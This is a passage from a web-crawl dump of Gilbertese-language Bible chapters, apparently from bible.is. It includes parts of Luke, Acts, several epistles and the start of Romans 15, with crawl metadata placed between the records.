e na kab'araki mani kabaeana aei n te bong ae te Taabati?\" 17Ngke E atongi baikai, ao a bane ni mamaa te koraki ake a ribaia, ao a bane ni kim'areirei aomata ni b'aai ni kabane ake a moa n raraoi ake a karaoaki i Rouna. 18Ao E taku ngkanne Iesu, \"Ai aron tera uean te Atua? Ao tera ae N na kabotaua iai ma ngaia? 19Ai aron uaan te m'akeke, are e anaia te aomata n unikia ni nen arokana; ao e riki rake, ao e riki b'a te kai ae ab'ab'aki, ao a karaoi neia ni maeka mannikiba i aoni m'aangana.\" 20Ao E a manga taku riki, \"Tera ae N na kabotaua iai uean te Atua ma ngaia? 21Ai aron te iti are e anaia te aine ao e renganna ma te buraawa ae tao nimabwi te b'auna rawawatana, ao e kabanea ni karikirakea te buraawa.\" 22Ao E waki nako Iesu i aoni kawaina ri nuukani kaawa ma taabo ake a maekanaki, n reireia aomata. Ni karaoan arei i Rouna, ao E bon tabe n toutoua kawaina nako Ierutarem. 23Ao e taku temanna nako Ina, \"Te Uea, Ti tabeman akana nang kamaiuaki?\" Ao Ngaia E kangai nako ia, 24Kakorakoraingkami b'a kam na rin n te mataroa are wariki; b'a I taku nako imi b'a a bati aika ukoukora te kan rin iai, ma a aki kona. 25N te tai naba are e tei rake iai teuare ana auti te auti ni kaina te mataroa, ao ane kam na tei i tinaniku ao kam na karebwerebwea te mataroa, ao kam na kangai, \"Te Uea, kaukia nako ira!\" Ao ngaia e na kaekaingkami ni kangai, \"I aki ata reitakiu ma ngkami!\" 26Ao ngkami, ane kam na kangai, \"Ti am'arake ao ti moi ma ngkoe, ao ko reirei i nanoni kawain ara kawa.\" 27Ao ngaia e na kangai, \"I tuangngkami b'a I aki ata reitakiu ma ngkami! Naako mai rou, ngkami ni kabaneingkami aika taani karaoa ae buakaka!\" 28Ane kam na tang ao kam na tenai riami ikekei ni kaota ae kam un, ngkana kam nora Aberaam, Itaaka, Iakob'a ma burabeti ni kabaneia n uean te Atua, ao ngkami kam teweaki nako tinaniku. 29Ao ane a na roko aomata mai mainiku ao mai maeao, mai meaang ao mai maiaki, ao a na karekei neia n tekateka n tain te baka n am'arake n uean te Atua. 30Ao noria, bon iai aika rimwi ngkai aika na riki n rimoa, ao aika rimoa ngkai aika na riki n rimwi. 31A roko B'aritaio tabem'aang n te tai naba arei, ao a taku nakon Iesu, \"Ko na nako maikai, b'a e tangiriko Erote b'a ko na kamateaki!\" 32Ao Ngaia E kangai nako ia, Kam na nako n tuanga te arobeke arei ni kangai, \"Noria, I kanakoia taimonio, ao I karaoi m'akuri ni kakamaiu n te bong, aei ao ningabong, ao n te katenibong, N na katia iai au m'akuri.\" 33Ma I riai ni wakina nako kawaiu n te bong aei ao ningabong, ao n te bong are i mwina; b'a e aki konaki ni kamateaki te burabeti ngkana e aki mena i Ierutarem. 34\"Ngkami, aika kaain Ierutarem, aika kam aki toki ni kamateia burabeti ao kam karebanaia ake a kanakoaki nako imi! Ai m'aiti ra au kani boboti ngkami, n ai aron te moa aine, ngkana e botiia natina i aani baina, ma kam rawa! 35Noria, e nang katukaki ami kawa i bon i rouna n aki tabeakinaki. Ao I tuangkami b'a kam na aki manga norai ni karokoa te tai ane kam na kangai, 'E na karaoiroaki Teuae nako mai n aran te Uea.' \"\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/13","date":"2016-09-30T09:04:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662133.5\/warc\/CC-MAIN-20160924173742-00055-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1058,"character_repetition_ratio":0.047,"word_repetition_ratio":0.017,"special_characters_ratio":0.255,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A nako taan anai taekiti ma aomata aika buakaka ni kaania Iesu b'a a na ongora i Rouna. 2A ngurengure B'aritaio ma taani koroboki, ao a kangai, \"Te Aomata aei, E butim'aia aomata aika buakaka ao E am'arake ma ngaiia.\" 3E kaekaia Iesu ngkanne n te taeka ni kabotau aei: 4Antai i buakomi, ae tebubua ana tiibu, ngkana e bua temanna mai buakoia, ao e na aki kitaniia ake ruangaun ma ruaman n te rereua n ukoukora are bua, ni karokoa rekena? 5Ao ngkana e reke, ao e uotia i aon angana, ni kim'areirei. 6Ao ngkana e roko ni mwengana, ao e botiia raona ma ake a maeka i rarikina, ao e kangai nako ia, \"Kam na kim'areirei ma ngai b'a I a tia ni kunea au tiibu are bua.\" 7I taku nako imi, b'a e na riki naba ae ai aron aei i karawa, ma e na m'aiti riki iai te kim'areirei i bukin te aomata ae buakaka ae ti temanna ae raira nanona, nakon te kim'areirei i bukiia aomata aika raoiroi aika ruangaun ma ruaman aika akea bureia aika riai n rairi nanoia iai. 8\"Ke antai te aine ae iai i rouna ana m'ane ae tebwina te tirewa ngkana e bua teuana ao e na aki kaura te taura ma n taea nanon te auti, ni kabanea ana tai ni kakaaea ni karokoa rekena? 9Ao ngkana e reke i rouna, ao e botiia raona ma ake a maeka i rarikina, ao e kangai, \"Kam na kim'areirei ma ngai! B'a I a tia ni kunea te m'ane are bua i rou.\" 10I taku nako imi, \"B'a ai arona naba b'a e na iai te kim'areirei irouia ana anera te Atua i bukin te aomata ae buakaka ae ti temanna ae raira nanona.\" 11Ao E a manga taku riki Iesu: Iai te aomata temanna ae uoman natina mm'aane; 12E taku teuare te karimwi nakon tamana, \"Tamau, ko na anganai tib'au are e na reke i rou man am b'ai.\" Ma ngaia are e a tib'ai ana b'ai nakoia natina. 13I mwini boong tabeua, ao e kabane tib'ana teuare te karimwi n rairi nakon te m'ane, ao e kitana mwengana n nako n te aba ae raroa, ao e kabanei iai n te aro ni maiu ni bakatae. 14Ngke a bane ana b'ai, ao e roko te rongo ae korakora n te aba arei, ao e a rotaki n te kainano. 15Ma ngaia are e a nako ni kakaaea ana m'akuri iroun temanna ae kaain te aba arei, ao teuarei, e kanakoa b'a e na tararuaia beeki ngkana a am'arake. 16Iai nanona ni kani kana kanaia beeki ake a kang, ma akea ae anganaki maiai. 17Ma ngke e a manga reke nanona ae wanawana, ao e taku, \"Ai m'aiti ra ana toro tamau ake a kabooaki aia m'akuri aika kau am'arake ao ngai I a mate ni baki ikai! 18N na tei rake, ao N na nako n tamau, ao N na kangai nako ina, 'I a tia ni bure nakon Teuare i karawa ao nako im; 19I aki tau b'a N na atongaki b'a natim; ko na warekai b'a temanna i buakoia am toro ake a kabooaki aia m'akuri.' \" 20Ao e tei rake, ao e nako n tamana. Ao ngke e mena i kiraroa, ao e noria tamana, ao e nanoangaia, ao e biri, ao e rab'atia, n inga nako ina. 21E taku te nati nako ina, \"Tamau, I a tia ni bure nakon Teuare i karawa ao nako im; I aki tau b'a N na atongaki b'a natim.\" 22Ma e taku te tama nakoia ana toro, \"Kam na kawaetataingkami n uota mai te kunnikai are moan te tamaroa, ao karinna i aona. ao kam na karina te burenibai i taboni baina, ao karini kauniwae i waena; 23ao uota mai te kao te teei ae kamarikaaki, ao tiringnga, ao ti na am'arake ni kim'areirei: 24b'a e mate natiu aei, ao e a manga uti; e bua, ao e a manga reke.\" Ao a botaki ni kim'areirei. 25Ao natina are te karimoa, e mena i abaia i marenaua b'a e m'akuri; ao ngke e oki, ngke e kaan ma te auti, ao e ongo tangin te katangitang ma karongoaan te takakaro. 26Ao e wetea te toro temanna, ao e titirakinna, \"Tera ae karaoaki?\" 27Ao ngaia e taku nako ina, \"E a roko tarim, ao e tua tamam b'a e na tiringaki te kao te teei ae kamarikaaki i bukin ae e roko i rouna ma te maiu ao te marurung.\" 28Ao ngaia, e un ao e rawa n rin; ao e oti nako tamana ni butiia b'a e na rin. 29Ma e kaekaa tamana ni kangai, \"Noria, I m'am'akuri i roum b'a kanga te toro ngai i nanon ririki aika bati ni karokoa ngkai, ao I tuai ma n ri aon am tua; ao ko tuai n anganai te kao te teei, b'a N am'arake ni kim'areirei ma raou nako. 30Ma ngkae e a roko natim anne, ane bakataei am b'ai irouia kabekaau ao ko tiringa te kao te teei ae kamarikaaki i bukina.\" 31Ao e kangai tamana nako ina, \"Natiu, Ko memena i rou n taai nako ao au b'ai ni kabane bon am b'ai. 32E riai b'a ti na kim'areirei ao ti na kukurei, b'a e mate tarim aei, ao e a manga uti; e bua ao e a manga reke.\"\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/15","date":"2016-10-01T19:54:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738663202.87\/warc\/CC-MAIN-20160924173743-00057-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":893,"character_repetition_ratio":0.055,"word_repetition_ratio":0.057,"special_characters_ratio":0.267,"stopwords_ratio":0.448,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Teobiro, n te boki are I moa ni koreia ao I taekin iai b'aai ni kabane ake E karaoi Iesu, ma n reirei 2ni karokoa te bong are E uotaki rake iai nako karawa, i mwin tiana n anga ana mwioko iroun te Tamnei are Raoiroi nakoia taan tuatua ake E a tia n rineia. 3I nanon abwi te bong i mwini matena ao E kaoti nakoia n aaro aika a na aki nanokokoraki iai teutana b'a E a tia ni manga uti. E noraki i rouia n taai aika bati, ao E taekini b'ain uean te Atua nakoia. 4Ao ngke E botaki ma ngaiia, ao E kab'aka ana taeka nakoia ni kaangai, \"Kam na aki kitana Ierutarem, ma kam na taninga koron nanon ana taeka n akoi Tamau are kam ongo mairou: 5B'a e b'ab'abetito Ioane n te ran, ma ane kam na b'abetitoaki n te Tamnei are Raoiroi i mwini boong tabebong.\" 6Ma ngaia are, ngke a botaki taan tuatua ma Iesu, ao a titirakinna ni kaangai, \"Te UEA, Ko nangi manga kaoka nakoia Iteraera aroia n tautaeka n te tai aei?\" 7E taku Iesu nakoia, \"Tiaki ami b'ai te atai taian tai nako ma boong ake E bairei te Tama ni m'aakana. 8Ma ane kam na anganaki te m'aaka, ngkana E roko te Tamnei are Raoiroi i aomi; ao ane kam na riki b'a taan tataekinai nakoia aomata i Ierutarem ao n taabo nako i Iuta, ao i Taamaria, ao i aonnaba ni kabuta.\" 9Ngke E a tia n atongi baikai, n te tai are a tabe n tarataraia iai taan tuatua, ao E uotaki rake; ao a aikoa noria ngke a tukaki mataia n te nang. 10Ngke a bon tabe naba n tara rake n tara karawa, ngke E nako Iesu, ao noria, a tei i rarikiia uoman te aomata aika kunnikaiia ni kunnikai aika mainaina; 11ao a taku, \"Mm'aane aika I-Kariraia, kam aera ngkai kam tei n tara rake nako karawa? Iesu aei, are uotaki rake mai roumi nako karawa, E na manga nako mai n te aro ae ti te bo naba ma aron ae kam noria iai ngkai, ngkae E nako karawa.\" 12A okira ngkanne Ierutarem taan tuatua man te maunga are Oriweta. E kaan te maunga aei ma Ierutarem, b'a tao te iterana te maire raroana mai iai. 13Ao ngke a rin i Ierutarem, ao a nako n te ru are i eta, are a kabongana b'a neia ni maeka n te tai ae aki maan Betero, ma Ioane, Iakobo, Anterea, Biribo, Toma, B'aretorom'aio, Mataio ma Iakobo are natin Areb'aio, ma Timon are te Terote, ao Iuta are tarin Iakobo. 14A aki toki uakekei ni kabaneia ni kakaonimaki ni bobotaki n tatataro, ma aine, ma Nei Maria are tinan Iesu, ma tarin nako Iesu. 15N te bong teuana ao e teirake Betero i buakoia taari akekei, ae tao tebubua ma uangaun m'aitiia ake a botaki ao e taku, 16\"Mm'aane, taari, e riai kakoroan nanon te taeka are n te B'aib'ara are E atongnga ngkoa te Tamnei are Raoiroi ni wiin Tawita, are taekan Iuta, are kairiia ake a taua Iesu. 17B'a e warekaki Iuta i buakora, ao e reke tib'angana n te nakoa aei.\" 18E kaboa te aba teuana Iuta n te m'ane are e karekea i bukin ana m'akuri are buakaka. Ngke e b'aka n unika atuna ao e tabwena rab'atana mai nuuka, ao a nna nako kanoan nanona. 19E ataaki te baerei irouia aomata ni kabaneia ake a maeka i Ierutarem, ma ngaia are a arana te aba arei n aia taeka b'a Akeritama, ae nanona, \"Te aba n raraa.\" 20B'a e koreaki n te boki are Taian Areru ae kaangai, \"Ke e kitanaki nena ni maeka, Ao ke e aki maeka iai temanna.\" Ma e kangai naba, \"Ke e anaa nakoana temanna.\" 21Ma ngaia aei, e riai temanna n riki b'a raora n tataekina Iesu b'a E a manga uti. E na rineaki mai buakoia aomata aika iriri ma ngaira n taai ake E mena i buakora iai te UEA are Iesu, 22man te tai are e b'ab'abetito iai Ioane ni karokoa te bong are E uotaki rake iai Iesu mai roura. 23Ao a kaoti araia aomata aika uoman, b'a Ioteb'a are aranaki b'a Baretaba, are arana teuana Ioutito, ao Matia. 24Ao a tataro ni kaangai, \"Te UEA, ae Ko atai nanoia aomata, Ko na kaotia b'a antai ae Ko rineia n uake uoman aikai, 25b'a e na bonota mwin Iuta n te m'akuri aei ao n nakoan te tia tuatua, are e kitanna, n nako n are boni nena.\" 26Ao a kakaaea n te aro ni kaiwa b'a antai ae na rineaki i rouia, ao e reke b'a Matia; ao e warekaki b'a raoia taan tuatua ake tengauni ma temanna.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/1","date":"2016-09-27T11:34:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661023.80\/warc\/CC-MAIN-20160924173741-00074-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":793,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.41,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Te baere iai ma ngke a tuai ni karikaki b'aai, are ti ongo, are ti noria ni matara, are ti tarataraia, are a riingnga naba baira, ae taekan te Taeka are te maiu, 2ao te maiu arei e a tia ni kaotaki, ao ti a tia n noria, ao ti kaotioti i bukina; ao ti taekina nako imi taekan te maiu are aki toki, are mena iroun te Tama, ao are e kaotaki nako ira; 3are ti a tia n noria ma n ongo, ao ti taekinna naba nako imi; b'a kam aonga n uaia ni buokanib'ai iai ma ngaira, n ai aron are ti buokanib'ai iai ngaira ma te Tama ao Natina are Iesu Kristo. 4Ao ti koroi baikai b'a a aonga ni kororaoi ara kim'areirei. 5Ao aio te taeka are ti ongo mai Rouna, ae ti taekinna nako imi: b'a te Atua bon te oota, ao bon akea te roo teutana i nanona. 6Ngkana ti taku b'a ti i raorao ma Ngaia, ao ngkana ti bon nakonako n te roo, ao ti kewe iai, ao ti aki karaoa ae koaua; 7ma ngkana ti nakonako n te oota n ai arona ngkae E mena n te oota, ao ti i raorao i roura, ao e kaitiakiira raraan Iesu are Natina man te buakaka ni kabane. 8Ngkana ti taku b'a akea ara bure, ao ti burebureira, ao e aki mena te koaua i nanora. 9Ngkana ti kaoti ara bure, ao E kakaonimaki b'a E na boni kab'arai ara bure ma ni kaitiakiira man te buakaka ni kabanea ngkai E atataiaomata. 10Ngkana ti taku b'a ti tuai ni bure, ao ti arana te Atua b'a te tia kewe, ao e aki mena i nanora ana taeka.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/1John\/1","date":"2016-09-27T04:38:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660957.45\/warc\/CC-MAIN-20160924173740-00168-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":286,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.479,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mairoun te unimm'aane nakoni Kaio ae tangiraki, ae I tangiria ni koaua. 2Ngkoe ae ko tangiraki, bon au kaantaninga b'a ko na kab'aia ni b'aai ni kabane, ao ko na marurung raoi, n ai aron aomatam ni koaua ngkae e a kab'aia. 3B'a I bati ni kim'areirei ngke a aki toki n roroko taari akekei n taekina am koaua, n ai arom ngkai ko b'ab'aina te koaua ni maium. 4Akea au kim'areirei ae bati riki nakon aei, ae te ongo b'a te koraki ake kanga natiu a b'ab'aina te koaua. 5Ngkoe ae ko tangiraki, ko boni kakaonimaki ni karaoa ae ko karaoia i bukiia taari, ai moara riki nakoia taari ake ko aki tataneiai ma ngaiia; 6ake a taekina ni kakoaua aron am tangira i matan te ekaretia. Ko karaoa ae e raoiroi ngkana ko bakaborauia n te aro ae riai i matan te Atua. 7B'a a m'ananga nako i bukin arani Kristo, n akea te b'ai teuana ae a anaia mairouia aomata aika tiaki Kristian. 8Ma ngaia ae ngaira, ti bon riai ni buokiia aomata aika ai aroia aikai, b'a ti aonga n riki b'a raao ni m'akuri i bukin te koaua. 9I a tia ni koroboki teutana nakon te ekaretia; ma Rioterebe are kani kakannato i buakoia, bon akea butim'aeara ae e raoiroi i rouna. 10Ma ngaia aei, ngkana tao I roko iroumi, ao N na kauring b'aai ake e karaoi ngke e wibuakaira n taeka aika bubuaka. Ao e aki toki ikanne. E rawa ni butim'aia taari akekei, ao e tukiia ake a kani butim'aia ma ni kab'akaia man te ekaretia. 11Ngkoe ae ko tangiraki, ko na tai kakairi n te m'akuri ae buakaka, ma ko na kakairi n te m'akuri ae e raoiroi. Ane karaoa ae e raoiroi ao boni mairoun te Atua; ane karaoa ae buakaka ao e tuai n nora te Atua. 12E tataekinaki ni kamoamoaki Temeterio irouia aomata ni kabaneia, ao ni maiuna ni b'ab'aina te koaua; ao e tataekinaki naba ni kamoamoaki iroura; ao ko ata ara kaotioti b'a e boni koaua. 13A bati baika i rou aika I kani koroi taekaia nako im, ma I aki kani koroi n te anto ma te kainikoroboki. 14Ma I kaantaninga b'a N na waetata n noriko, ao ti na taetae ni kaaitaraa. 15E na mena te raoi i roum. A kamauriko raora aikai. Ko na anga ara kamauri nakoia raora akanne n tatabemaniia nako.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/3John\/1","date":"2016-09-25T19:52:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660342.42\/warc\/CC-MAIN-20160924173740-00185-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":401,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.382,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mairouni B'auro ae ana tia tuatua Kristo Iesu n ana taeka te Atua ae ara Tia Kamaiu, ma Kristo Iesu ae mena i rouna ara mwioko; 2nakon Timoteo, ae natiu ni koaua i nanon te onimaki: am b'ai te akoaki, ma te nanoangaki, ma te raoi, mairoun te Atua ae te Tama ma Kristo Iesu are ara Uea. 3Ko na tiku i Ebeto, n ai aron are I tuangko ngkoa ngke I nako M'aketonia; ao tuangiia aomata tabem'aang ikekei b'a a na tai reireia te aba te koaua ae kaokoro, 4ao a na tai kabanebuakai aia tai ni karaki nikawai aika oteaki ma taiani kateiriki aika rangi n ananau, aika kariki taiani kauntaeka, ao a aki buoka ana kaantaninga te Atua are e ataaki n te onimaki. 5Te kaantaninga i bukin te bae ti tuangko iai, b'a e na reke i rouia te tangira ae bwebwerake man te nano ae itiaki ao mani mataniwin te nano ae e raoiroi ma te onimaki ni koaua. 6Aomata aika b'aoua nako kawaia mani baikanne a rairaki nakon te kauntaeka ae akea manenana. 7A kan riki b'a taan reirei i bukin te Tua. Ma a aki ata te baere a taekinna, ma baike a kawimatoaia iai. 8Ma ti ata te Tua b'a e raoiroi, ngkana e b'ainaki iroun te aomata n te aro ae riai, 9ngkae e ata te Tua b'a e aki karaoaki i bukin te aomata ae e raoiroi, ma e karaoaki i bukiia aomata aika akiako ma aika aki ongeaba, ao i bukiia aika aki itiaki ma aika eekaanako nanon te Atua ma taani bure, ao i bukiia aika akea karinean te Atua i rouia ma taani kam'araei ana b'ai te Atua, ao i bukiia taan tiringiia tamaia ma taan tiringiia tinaia, ma taan tiringiia aomata, 10ao i bukiia taani wene ni bure ma nikiranroro, ma mm'aane aika karaoi m'akuri ni kammaira ma raoia ni mm'aane, ma taan iraeia aomata, ao i bukiia taani kewe ma taan tuea ni kewe, ao i bukini b'aai ni kabane, ngkana tao iai, aika eekaanako te reirei ni koaua, 11are nako man te euangkerio ae mimitong are I mwiokoaki iai b'a N na taekinna, are te euangkerio mairoun te Atua ae riai ni karaoiroaki. 12I katituaraoa Teuare kakorakoraai, are Kristo Iesu are ara Uea, b'a E atongai b'a I kakaonimaki, ngkae E rineai b'a te tia m'akuri i bukina. 13Bon te tia taetaebuaka ngai ngkoa, te tia b'ainikirina te aba, ao te tia iowawa; ma I nanoangaki, i bukina ngke I karaoi arou akanne ma te roo n nano b'a I tuai n onimaki. 14Ma E rangi n akoi te Uea nako iu, ngke E anganai te onimaki ma te tangira ae ti b'ainna ngkai ti reitaki ma Ngaia. 15E koaua te taeka aei, ao e riai ni kakiaki i nanoia aomata ni kabaneia, ae te taeka ae kaangai, E roko Kristo Iesu i aon te aba b'a E na kamaiuia taani bure. Ngai te kabanea ni buakaka; 16ma I nanoangaaki i bukin aei, b'a E na kaota taotaonan nanon Kristo Iesu i rou, ngai ae te kabanea ni buakaka i buakoia aomata, b'a te banna ni kakairi nakoia akana nang onimakinna ao a na karekea te maiu are aki toki. 17Ana b'ai te Uea ae akea tokina, ae aki mamate, ae aki nonoraki, ae te Atua ae ti temanna, te karineaki ma te neboaki n aki totoki. Amen. 18I anganiko te taeka aei, natiu ae Timoteo, n ai aron taian taeka ni burabeti ake a rimoa n taekiniko, b'a ko na kamanenai b'a am b'ai ni buaka b'a e aonga n nako raoi arom ni buaka, 19ao kawakina am onimaki ma mataniwin nanom ae e raoiroi. Iai tabem'aang aika rawa n ongo ni b'anaan mataniwin nanoia ae e raoiroi ao a karika te kabuanib'ai nakon aia onimaki, kanga ai aron te kaibuke ae koro ao e uruaki; 20i buakoia te koraki aei bon Umenaio ma Arekantero, are I katikuia nakon Tatan, b'a a aonga n reireiaki b'a a na tai taetaebuaka te Atua.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/1","date":"2016-09-27T16:15:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661123.53\/warc\/CC-MAIN-20160924173741-00176-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":670,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.431,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Aio ngkai katenuan au tai ae N na nako imi iai. N aron are koreaki n te B'aib'ara, \"A kamatoaki taeka ni bukibuki ni kabane ngkana a kakoauaki n aia taeka taani kakoaua aika uoman ke teniman.\" 2I a kaman tia n taetae nakoia te koraki ake a bure ngkoa ao I a manga taetae naba ngkai, ngkai I raroa mai roumi: ngkana I a manga roko riki i roumi, ao bon akea i rouia ae N na aki kaota arou ni matoatoa nako ina, 3ngkai kam ukoukora te b'ai ae na kakoauaki iai b'a E taetae Kristo i rou. E aki mamara Kristo nako imi, ma E m'aka i buakomi. 4B'a E tauraki n te kaibangaki i bukini mamarana, ma E a manga uti ni m'aakan te Atua. B'a ti mamara n ai aroni Kristo, ma n reitakira ma ngkami ao ti na maiu ma Ngaia ni m'aakan te Atua. 5Kam na kataingkami ao kakoauaingkami b'a kam bon onimaki ni koaua. Kam aki ataia b'a E mena Iesu Kristo i nanomi? ma E aki mena i nanomi ngkana kam a tia ni kataingkami ao kam kakoaua b'a kam aki onimaki ni koaua. 6Ma bon au kaantaninga b'a kam na ataira b'a ti a tia ni kataaki ao ti kakoauaki b'a bon taan tuatua ni koaua ngaira. 7Ti tataro nakon te Atua b'a kam na aki karaoa te b'ai teuana ae buakaka; ti aki tataro b'a ti aonga n noraki b'a a nako raoi arora ngke ti kataaki, ma ti butiia b'a kam aonga ni karaoa ae raoiroi, e boni ngae ngke ti taraa n aki kakoauaki ni kataakira b'a bon taan tuatua ni koaua ngaira. 8B'a akea te bae ti kona ni karaoia n ekaanako te koaua iai, ma ti ti kona ni buokia. 9B'a ti kukurei ngkana ti mamara, ao ngkami kam korakora; ao bon ara tataro naba aei i bukimi b'a kam na nako raoi n aromi. 10Ma ngaia ae I koroi baikai, ngkai I aki mena i roumi, b'a e aonga n ae ngkana I roko ao N na aki matoatoa nako imi n arou ni kamanena te m'aka are E a tia n anganai te UEA, are te m'aka ni kateimatoa, ma tiaki n uruuru. 11Te kabanea, taari, kam na kakatonga, kam na kanako raoi aromi, kam na karau nanomi, kam na b'aina te nano ae ti te arona, kam na raoi; ao E na mena i roumi te Atua are e reke mai Rouna te tangira ma te raoi. 12Kam na i kamauringkami, temanna nakon temanna, n ai aroia taari n inga. 13A bane ni kamauringkami Kristian aikai. 14E na mena i roumi ni kabaneingkami ana akoi te UEA are Iesu Kristo, ma ana tangira te Atua, ma ana raorao te Tamnei are Raoiroi.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/13","date":"2016-09-25T15:00:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660214.50\/warc\/CC-MAIN-20160924173740-00130-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":461,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E riai iroura ngaira aika a korakora ara onimaki b'a ti na taotaon nanora nakoia aika a mamara aia onimaki, ao ti na aki iri oin nanora ni karaoa are ti tangiria. 2Ti na bane n tatabemaniira nako ni kakukureia raora ni baika na bongana i bukiia, b'a a aonga ni buokaki aia onimaki ni kakorakoraki. 3B'a E aki kakukureia i bon i rouna Kristo; n ai aron are koreaki ni kaangai, \"A b'akarai aia taeka n iowawa ake a taetae n iowawa nako im.\" 4B'a b'aai ni kabane ake a koreaki ngkoa a koreaki i bukin reireiara, b'a e aonga n reke iroura te kaantaninga n taekan te taotaonaki n nano ma te kaunga nano n te B'aib'ara. 5Ao te Atua are e riki mai Rouna taotaonan te nano ma kabebetean te nano, E na anganingkami te nano ni bonnano are e reke ni katotongan aroni Kristo Iesu, 6b'a e aonga n ae kam neboa te Atua are Taman ara UEA are Iesu Kristo n te nano ae ti teuana ao n te b'anaa ae ti teuana. 7Ma ngaia ae kam na i m'anem'ane n i akoakoi, n ai aron naba Kristo ngke E m'aneira n akoira, b'a E aonga n neboaki iai te Atua. 8I tuangngkami b'a E roko Kristo b'a te tia buokiia I-Iutaia, ni kaotia nakoia b'a E a tia ni kakaonimaki te Atua ni kakoroa bukin ana taeka n akoi ake E taekin nakoia aia bakatibu ake a kakannato; 9ao b'a a aonga n neboa naba te Atua aomata aika tiaki I-Iutaia i bukin arona n nanoanga nakoia, n ai aron are koreaki ni kaangai: \"Ma ngaia ae N na karaoiroiko i buakoia Tientaire Ao N na anenea aram.\" 10Ao aio naba: \"Kim'areirei, ngkami aika Tientaire, ma ana aomata te Atua!\" 11Ao manga aio naba: \"Kam na karaoiroa te UEA, ngkami aika Tientaire; Ke a kamoamoa natanaomata ni kabaneia!\" 12Ao e taku Itaia, \"Ane e na kaoti temanna man ana utu Iete; E na taua taekaia botannaomata aika Tientaire, ao ane a na kaantaningaia.\" 13Ao te Atua are e riki mai Rouna te kaantaninga, E na kaon nanomi n te kim'areirei ni kabanea ma te rau i bukina ngkai kam onimakinna, b'a e aonga n teimatoa ami kaantaninga ni m'aakan te Tamnei are Raoiroi. 14Tariu, I aki nanokokoraki iroumi b'a a rangi n raoiroi aromi, ao kam rangi n atai baika kam riai ni karaoi, ao kam kona n i reirei iroumi. 15Ma n te reta aei ao I a tia n ninikoria n taekini b'aai tabeua aika I a tia ni kauringngkami iai. I ninikoria n taekin i bukina b'a E a tia te Atua n ana akoi ni karikai 16b'a ana tia m'akuri Iesu Kristo ngai i bukiia aomata aika tiaki I-Iutaia. I m'akuri b'a ai aron te ibonga ngai n tataekina ana euangkerio te Atua, b'a a aonga n riki aomata aika tiaki I-Iutaia b'a ai aroni karea aika E na kukurei te Atua i rouia, aika a tia ni katabuaki i bukina iroun te Tamnei are Raoiroi. 17Ma ngaia ae i bukin arou n reitaki ma Iesu Kristo, ao e riai b'a N na kamoamoaai n au m'akuri i bukin te Atua. 18B'a 